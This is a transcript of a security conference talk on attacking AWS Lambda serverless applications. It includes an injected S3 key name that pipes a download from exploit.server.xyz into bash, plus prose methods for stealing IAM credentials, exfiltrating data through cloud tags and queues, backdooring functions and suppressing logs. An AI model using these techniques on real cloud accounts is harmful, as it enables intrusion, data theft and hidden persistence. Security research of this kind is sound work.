Gone in 60 Milliseconds (33c3)

preroll music

Herald: Like in the following talk I'm
happy to introduce Rich Jones. Rich is

gonna talk about what he can do in 60
milliseconds with server-less servers.

And please give a warm
round of applause for Rich!

applause

Rich: Hi everybody! Thank you very much
for having me, for CCC for hosting, for

you guys for coming out! I appreciate it.
My name is Rich Jones. I'm the founder and

CTO of gun.io. We find awesome freelance
gigs for free and open source hackers. I'm

also the author of ZAPPA. Which is the best
damn server-less framework in the world.

It can run any python web application on
AWS lambda. You can build event driven

applications you can connect roughly
500.000 connections per second globally.

Without any operations support right
out of the box for your existing apps.

I first announced it about 6 months
ago actually at Hack & Tell event at

C-Base and now it is like used in
production by all sorts of big companies

which is pretty cool! You should try it out.
Welcome to my talk, it is called Gone in

60 Milliseconds! aka having a sexy title
gets your talk accepted at conferences.

aka Intrusion and Exfiltration in
Server-less Architectures. Whoooh. What the

hell does that mean? Quick poll. Who here
is familiar with AWS Lambda? Okay, so

about half, that's pretty good. That's
what I was expecting. Okay, great. For the

unfamiliar, the good old days of servers.
You would have the web server it would

connect to the database and that was
pretty much it it would – you'd have the

server. You'd have one server, you'ld
probably run lots of services off that

server so if you found a debug panel or
something like that, you could use one of

your favorite tools, you could get a shell
and basically run a mock I know is the

best. With the server-less architecture
this one example it uses instead of a

permanent web-server it uses this service
called AWS Lambda which provides no

permanent infrastructure Your entire
application function is held in cache by

Amazon AWS and it's spawned and destroyed
on a per-request basis. So in the space of

a single web request or whatever function
request, it creates the container, returns

and destroys the container. The code
execution is triggered by a variety of

cloud event sources every request is in an
isolated container. I'm gonna put an

asterisk next to next to isolated as you
see. The big advantage for the company is

that it's super scalable. So, because one
request is one server it means that 10

requests is 10 servers and so on and so on
and so on. So you can scale this all the

way up to like trillions of events per
year which is pretty cool. It's also much

less expensive because you pay by the
millisecond .000002 dollars per

millisecond which interestingly is now the
same in euros keep an eye on that,

I was surprised by. Security patches to the
operating system are automatic because

Amazon handles them so there is basically
you don't worry about the operating system

at all you only worry about your single
function which saves time, saves money,

and lets you fire all people who work in
OPS. Some common patterns that you see for

companies and, you know, services are
using lambda. One is just the web server

this is like if you already use zappa for
a django CMS or something like this. It's

just API gateway, another AWS service to
lambda, which is the one we saw before

Another common way that people are using
this for asynchronous data processing.

So if you have a file upload, that will then
execute the lambda function which will

store the result in a DynamoDB store and
then have that trigger the upload to the

S3 return bucket. So this is kind of like
a very simple microservice type framework

that you can use lambda for. Chat bots is
another common use case So if you having a

SMS Message or an e-mail exchange with a
robot, it could be through lambda or one

of those cool new like echo things. Maybe
we will be able to like actually hack

through those in the future using some of
these techniques. So you can kind of see

that there. And the big one that a lot of
companies are using like fintech and

medical and science companies are using
for is is kind of the driving engine for

the state machine in big data processing.
This is kind of the interesting one that

we get into a little bit more later in the
talk So the lambda kind of drives the

queue which is how the like big data
processing like compute cluster is knowing

what to do. And there is loads more of
these patterns but those are some of the

ones that I've seen pretty commonly. So
when you try to attack these kind of

applications it probably won't work. And
even if it does work, it will shut down

immediately because they live in these
short lived isolated container which is

no fun. The container dies after the
function returns. Oh no! What does that

mean for us? Us hackers. I mean it is
harder to infiltrate because there is less

common code most of the stuff is custom so
far. You can't use the same wordpress

vulnerability over and over again. The
services are isolated, the functions are

isolated, there is no users to really
escalate on the system. There's no

sysadmins to, you know, do your cool cron
tricks or whatever, for gaining

escalation. It's also harder to persist
our malware because it immediately dies as

soon as the container closes. It is also a
read-only filesystem, so we can't hide our

files deep in the operating system And
it's only a sub-second lifecycle for the

entire container anyway. There is no
initialization system to infect because

that is all taken care of by amazon and we
can't get at it. It is also harder to

exfiltrate, because there is a thing
called the virtual private cloud AWS

provides. There's also function specific
roles which means a very strict

permissioning system. A lot times we can't
get a reverse shell because there is no network

access. So basically sad face. Oh no,
we're totally boned!

No we're not, hell not, dog. When Bezos
closes a door, he opens a window.

laughter
applause

So we gonna learn some recon, some
infiltration, some exploitation, some

exfiltration and a little bit of cleanup!
Part 0: Recon aka How the hell do we know

what we're attacking? There's gonna be two
attack surfaces. An outer and inner attack

surface for a lambda function. The outer
attack surfaces are the API Gateway so if

you look at the headers and you see that
it's serving dynamic content from

CloudFront, that might an indication that
you're dealing with API Gateway.

File uploads is pretty easy if you look at
whatever the upload endpoint is and you

look at headers that says it is S3 that
probably means that it's S3. If you look at

the email headers that you you're
communication to the function with you can

see that it is Amazon SES so that is
pretty obvious. There is also the inner

attack surface. So these are services that
we can't access directly, but provide

event sources for the function, so this
can mean a whole bunch of stuff, so queues

if there are a lot of long running tasks
and it's on AWS, it is possible that they

are using the SQS queing system. But it
can also mean database events, streams of

information, user events, so logins and
user creations and stuff like that can

also be an event source. And the log
system itself can provide an event source.

Part 1 infiltration aka how the hell are
we gonna weaponize all that? So lambda

functions essentially what the application
is, is kind of like a blue ball machine here.

What we call Rube Goldberg machines.
I just learned, for the translators, that

you guys call these nonsense machines.
Essentially lots of little functions and a

lot of passing information between them.
So to figure out what's going on, we're

going to use a process of destructive
mechanics aka dropping a bolt into the

engine and then listening to the sound
that it makes to try to figure out what is

going on inside. The TL;DR of that is we
gonna attack the event sources themselves,

we're going to fire off every type of
cloud event service that we can and

basically see what shakes out. The usual
suspects for infection, unsanitized input,

deserialization bugs of all, you know all
varieties, server side script injection,

malicious binary files, and if it is a web
server, most of your favorite web

application type exploits. So just as a
very trivial example of the kind of things

that you might see here, So here is some
trivially vulnerable code it's connecting

to an S3 bucket, it's going over the items
and it's calling some process on the keys

that are in the bucket. But what happens
if we create an object called: "; curl -s

exploit.server.xyz | bash" well than
that's gonna expand because it is just

using the key name to call, you know, our
exploit code on the lambda function.

Hurray! we did it! Part 2 exploitation aka
how can we escalate our infection? aka

what the hell is a lambda? aka what's
worth stealing? So if we actually find,

you know, if we just look at the operating
system of a lambda, now that we're able to

execute commands on it. Well that won't
work as we don't have a shell, everything

on lambda had this event context pattern
in it, whatever but if we do the find and

we look at it, it pretty much looks like
standard redhat 6 installation it's got

python 2.7, interestingly it has python
3.4 on it, it's got node, it's got perl,

it's got gcc, it's got all you know, stuff
that we like. Which is pretty good. If we

look at the system even further, we'll see
that it's running an operating system

called Amazon Linux, which is the default
for EC2, so maybe it's an EC2 server.

If it's an EC2 server, can we access the
metainfo server? That's a good idea! For

For those who don't know about the meta-
data server, from Amazon docs: Instance

metadata is data about your instance that
you can use to configure or manage the

running instance, anyone who can access
the instance can view its metadata.

Therefore, you should take suitable
precautions to protect sensitive data aka

don't get hacked, because people can look
at this stuff. We can figure out all this

information including keys and users and
security groups so, you know, really good,

good intel. What happens if we try to
access the server? It doesn't work, so,

sorry. But that's a good trick to remember
if you are attacking EC2, that you can get

a lot of information out of the metainfo
server. Now you're thinking, well let's take a

look at the environment, let's look around
what's in the environment variables.

Quite a lot actually including some inter-
esting stuff like session tokens, security

tokens, access key IDs and secret access
keys. So that's pretty cool. What are

those? Enter IAM, so this is Amazons
identity and access management system

which provides per resource authentication
and authorisation definition. So basically

1 task is gonna have 1, you know, set of
authorisation to perform its functions.

It sounds bad, it is. Like it makes our
job a lot harder. The good news is that

it's super easy to fuck up! Pretty much
everybody who's using IAM has probably

fucked up. Especially if you read the
documentations which Amazon provides which

is terrible, or even badder if they got
their information from the AWS forum where

you can find like real gems of wisdom
about give everybody access to everything,

which is nice. So full disclosure,
everything all the fun stuff that we're

gonna do, does depend on them having
some misconfigured IAM even subtly

misconfigured IAM which isn't as cool, I
have to admit but it's pretty common, so I

don't think it's unreasonable to have
that, be part of our attack criteria.

So what the keys that we saw, were part of
the lambda execution policy which uses

this permission called iam:PassRole
basically you take a predefined policy for

what a function is allowed to do. It
creates a temporary user with those

permissions and gives the credentials for
that user into the userspace in those

environment variables that we saw. So this
is one of the ones that Amazon recommends,

this is the AWS VPCAccessExecutionRole
this is from Amazons documentation and

this actually provides some interesting
things that we're gonna be able to use.

Resource:* is a great one because that
means we have access to everything

available to the account We will need to
create log groups and streams, which is

kind of interesting. Describing the
network interface is also super

interesting for us. And this will come in
handy later. Okay, so we can describe the

network What about actually like infecting
the application source? Like we wanna add

a backdoor. But first, where does the code
live? So we check the environment

variables again we see this key value for
LAMBDA_TASK_ROOT which is good so we will

just cat our backdoor into the application
No that is not gonna work. Sad face,

because it's a read-only filesystem.
And even if you could, write to that, you

know, write to the filesystem, it's not
gonna persist for other users who, to call

the function because it's not cached in
memory so it would only live for the span

of a single HTTP request which we don't
care about. But, I got all of these cool,

like hacker tools I wanna install on the
system how do I do that? Fortunately there

is /tmp space on the disk because some,
you know, normal applications are gonna

need to read and write files and stuff so
/tmp is totally readable and it works as

we'd expected to. Amazon describes this as
ephemeral disk capacity. But ephemeral

isn't quite true actually, because this is
how lambda executions are not completely

isolated. For performance reasons they're
actually cached in Amazons memory across

different executions. So because /tmp is a
ram disk, and because ram is cached that

means that /tmp is cached as well, so if
we can store our tools across multiple

executions. Yay! But the caveat for that is
that we have to keep the function warm in

memory by calling it every so often That
length of time is 4 minutes, 30 seconds

Somebody violated an NDA to tell you that,
don't ask me

laughing

applause

What's cool is this actually can also
apply to long running processes aswell.

It won't keep the function open, but it
will, kind of, pause the process and then

reopen it on the next execution. So now we
can install, if we have linux x86_64

compiled versions of all our favorite
tools we could put them on to the lambda

function and start calling it. Okay, so
now we got some keys, we got some tools,

what can we do? So the first thing that we
probably wanna do, is just see what we're

allowed to do. Using the AWS CLI tool we
can call this code and we will get back a

policy, and if we're lucky, it 'll be
** and then we can do whatever we want.

Jackpot! We can create a new admin user
and pillage all the databases basically,

it's game over! Yeah right! Maybe it'll
happen probably yeah right. A very brief

interlude. If you do get the jackpot, if
you are looking at Facebook's AWS usage and

you get *****. Don't sell the user info to
spammers. Don't claim a bug bounty. Don't

just like use their creditcard to mine
bitcoin. Don't tell, you know, your

favorite TLA. Don't even send all the
information to Julian, he's busy. Bug

bounties are boring. Espionage is boring.
I'm tired of all this like spy vs spy stuff.

Use your skills of infection for awesome.
Put up a bad-ass hacking crew name, you know.

laughing

Put spooky skulls, put a bunch of
spooky skulls on facebook.

Put your IRC homies, know what's up
applause

I'm pretty serious about this, actually.
Like I think the word losing some like

aesthetic quality to our culture in
pursuit of like money and like you know,

careers and stuff like that. But I think
the aesthetic value actually has like more

worth and that over time is like, the
broader community begins to respect like

our aesthetic contributions, like the
those hacks will actually be worth more in

the long run than any bug bounty that you
'll get now. So like keep it real, anyway,

that was my side.

applause

So far more likely than ., you gonna get
some kind of like strict permission, like

the ability to access S3 objects, or the
the ability to access the database, or

some combination thereof using various,
different cloud services available. How

can we use that for nefarious purposes you
wondering. That's a great question. Part 3:

Exfiltration aka take the money and run
aka the fun part. TL;DR when you don't have

a direct network connection, to the things
that you wanna access, because you using a

cloud provider, you can use tags, meta
information, and the cloud services

themselves to shuttle information out of
the cloud. So easy mode for instance, if we

see that we have SES permissions, send,
use the email, send, you know, we have a

single function that will let us send an
email out because it's a cloud provider

that has an e-mail service. Or send a SMS,
you know, you could actually, you can hack

something and get the results back to your
virtual cellphone. Slightly harder, if you

just have S3 objects, you could, you know,
zip up the source of the application, put

it on S3 and get it out that way. The fun
thing is VPC exfiltration. So this is the

architecture that we were talking about
before It's a simple vibration but this is

this is a pretty common architecture for
big data using lambda. What is a VPC?

Great question! Amazon VPC provides
advanced security features such as

security groups and network access control
lists to enable inbound and outbound

filtering at the instance level and subnet
level. Sounds bad. It is. The good news.

Super easy to fuck up! Especially if you
read Amazons old docs and the AWS forum.

So lambda has access to these VPC resources.
aka Lambda is our VPC hole puncher.

If you're, you know, depending on how
they've implemented it, this may actually

mean that Amazon can access your internal
corporate network, which is pretty cool.

But we don't actually even need to use the
network to do that, so I'm not gonna show

you how to do that one, you figure that
out on your own, to exfil from a VPC

without touching the VPC network. So this
is our architecture. Step 1, upload the

malicious file, like I've indicated here
with a cool cyber skull. This will give us

code execution in the Lambda environment.
We gonna put out a bunch of canaries. So

we're gonna try calling SMS, e-mail, DNS,
S3, queues, everything that is available

to us, just try to put some information
out that we can read back. In this case we

see that we can type our results into the
bucket, so we can get information that way.

So we have bidirectional communication
to an owned lambda service.

When we use the keys that we've exfiltrated
that way, we look at the policy,

we see that we have the lambda VPC
access execution role from earlier, with

resource * which is nice and our
DescribeNetworkInterfaces create network

interfaces permessions that we saw
earlier, that Amazon recommends as well as

simple S3 and SQS access just for the
necessary functions that we want for the

application. Our target in this case is the
database which is still inside the VPC, so

we no access to, direct access to the
database from our lambda execution

environment because it's all wrapped up in
this VPC. But what we can do is, we can

add things to the SQS queue. And if they're
using Celery, actually uses pickle, is a

way to shuttle information about – for the
javascript developers, it's a bit like

using eval to figure out javascript. So if
we're able to add something, to, or, this

is kind of manoeuvrer, like this is use
whatever technique that,

you know, you prefer from there
to get your code on to the cluster

but we're gonna use this pickle celery bug
to create an item on the queue,

a malicious item on the queue, that will
then be picked up and run on the compute

cluster. So now we have code execution on
the cluster, but we have no way to

actually directly communicating to it,
because we're locked out of the VPC. What

do we do now? So the interesting this is
actually use meta information about the

VPC to exfil the information that we want,
so because we have the ability to describe

network interfaces, inside the VPC, we
call, we add tags, to this, to the EC2

instances and the network interfaces to
which they communicate. A lot of times

they have this permission because tagging
is useful for the admins who wanna see

what groups are owning what So we can add
the meta information about that to the

network interface itself because the
lambda has the ability to read these tags

back out, we can then get the information
that we want, we can put it through the S3

and we can extract the information
this way. So nice! This also works for the

application binaries because we can encode
something in Base64 and then put that in

the tag set, and get that out that way
Which is nice! Similarly is the compute

cluster able to modify DNS entries that we
can read, or is it able to create a named

log groups, is it able to create queues,
is it able to create buckets, etc, etc be

creative with the AWS services the're
available, there is lots! And a single

overlapping permission can be enough In
fact, even a single overlapping service

can be enough for information exfiltration
for instance you can encode information in

the length of the queue and then read that
back out you could use the same thing with

the number of number of network interfaces
that are available besides of the

database, anything like that. So that's
pretty cool! What if they fix the bug?

Persistence, aka how can we permanently
infect a system with no permanent

infrastructure? aka abusing cloud vendor
features, continued. One neat lambda

feature that is available is the idea of
function aliasing so Amazon will

automatically give you like labels for the
available functions, and store all of the

old functions with aliases for you, which
is useful for, you know, application

maintainers because they can provide
rollbacks and something goes wrong, they

can tag their dev and prod and staging
environments and stuff like that as an

audit trail. But we can also use it to
persist our malware. So we can get the

function, get the source code for any
function that's available this way, we can

upload a backdoored version of that and
then alias it to one of those previous

functions and hide it there if we need to
access it without having it, be uploaded

every time. An alternate route, which is
especially useful if the application is

being deployed by travis, or some CI
system, anything that uses CloudFormation.

CloudFormation requires the code to be
hosted on S3 permanently, for doing it's

update function. So if we just infect the
code that's on S3, the next time that the

CI updates the application stack, it'll
use our infected code, which is useful.

This is cool because if we have access to
the code buckets, than we can actually use

a single infected lambda to infect all the
other lambda functions that are available

in the stack. One better is to actually
treat the entire model serverlessly.

So imagine if we have a simple application
using the Foo lambda that's triggered when

there is a SQS event. Which is actually
gonna be one function and then all the old

functions aliased all the way back to
function 1. So if we can infect this one

with some bug that we're exploiting, and
we're able to create a backdoored function

we can use the same code, create the new
function, but it's backdoored, and then

alias that back to the first function
that'll now contain our backdoored code,

we can create an event trigger, so that
whenever new code is updated, is submitted

to the S3 bucket where the functions are
registered, that will actually trigger the

execution of our malware, which will get
the code of the new function infected with

our backdoor, recreate the function,
delete the new one, and then we have, you

know, our backdoored version of the latest
code that is permanently available for

every request, new code uploads are the
trigger for reinfection of our malware.

Part 5 cleaning up I'll go fast here, is
boring. Full disclosure, I'm not very

tidy, so be careful with all this stuff if
you need to be real stealthy. All lambda

executions have unique execution IDs, if
you just write them down, you can delete

them later. But the errors there still
gonna trigger the CloudWatch alarms, so

can you hop off the log group, that's also
available in the environment variables?

No you can't, but you can change the
retention policy, so, maybe we can just

have it's own, and hopefully they don't
look at logs. That's not very good, a

better technique is actually to don't log
anything to begin with. So because these

functions have extremely limited memory
size, cause they only build to do one

thing, if we exhaust the memory of the
function, there's not enough memory to

actually do the logging properly, so if we
wrap all of our canary code inside of

exception handlers, that'll then just
allocate all the memory that's available,

then it doesn't count as an invocation
error and it won't actually register ...

applause

Shout out to Dee, he told me that trick,
my friend. One copy out of this, one

pattern is to... time did go super fast...
if they are logging everything, the flip

side of that is that they're logging
everything so that you can go and get

everybodys password and stuff, so that's
fun. Part 6 synthesis happy Christmas,

everybody, ho ho ho, I'm Santa Claus and
I'm giving you a present I'm giving you an

AWS Lambda Infection Toolkit! Call mackenzie
you can figure out why on your own.

It can do a lot of the tricks that we
talked about today. Exfil, infiltration,

creating reinfection handlers, all the
stuff, maybe your feature, put it on

github this afternoon, check it out! In
conclusion, server-less architectures present

new obstacles, but we can defeat those
obstacles by abusing cloud features

themselves. Do you need secure serverless
apps, you should hire me.

laughing

Do you want to contribute code, you should
check out my github. You should also check

out the slack channel. Shout out to
everybody in the zappa slack, is a ton of

super smart AWS people doing interesting
things in there, thank you!

applause

Herald: Allright, perfect.

applause

Herald: Thanks a lot Rich. Unfortunately we don't
have any time left for Q&A, but, are you

gonna be around for questions, perfect.
So if you are in the room, you can just

come, ask Rich questions, if you are
remote, you've seen the contact possibilities.

closing music

subtitles created by c3subtitles.de
in the year 2017. Join, and help us!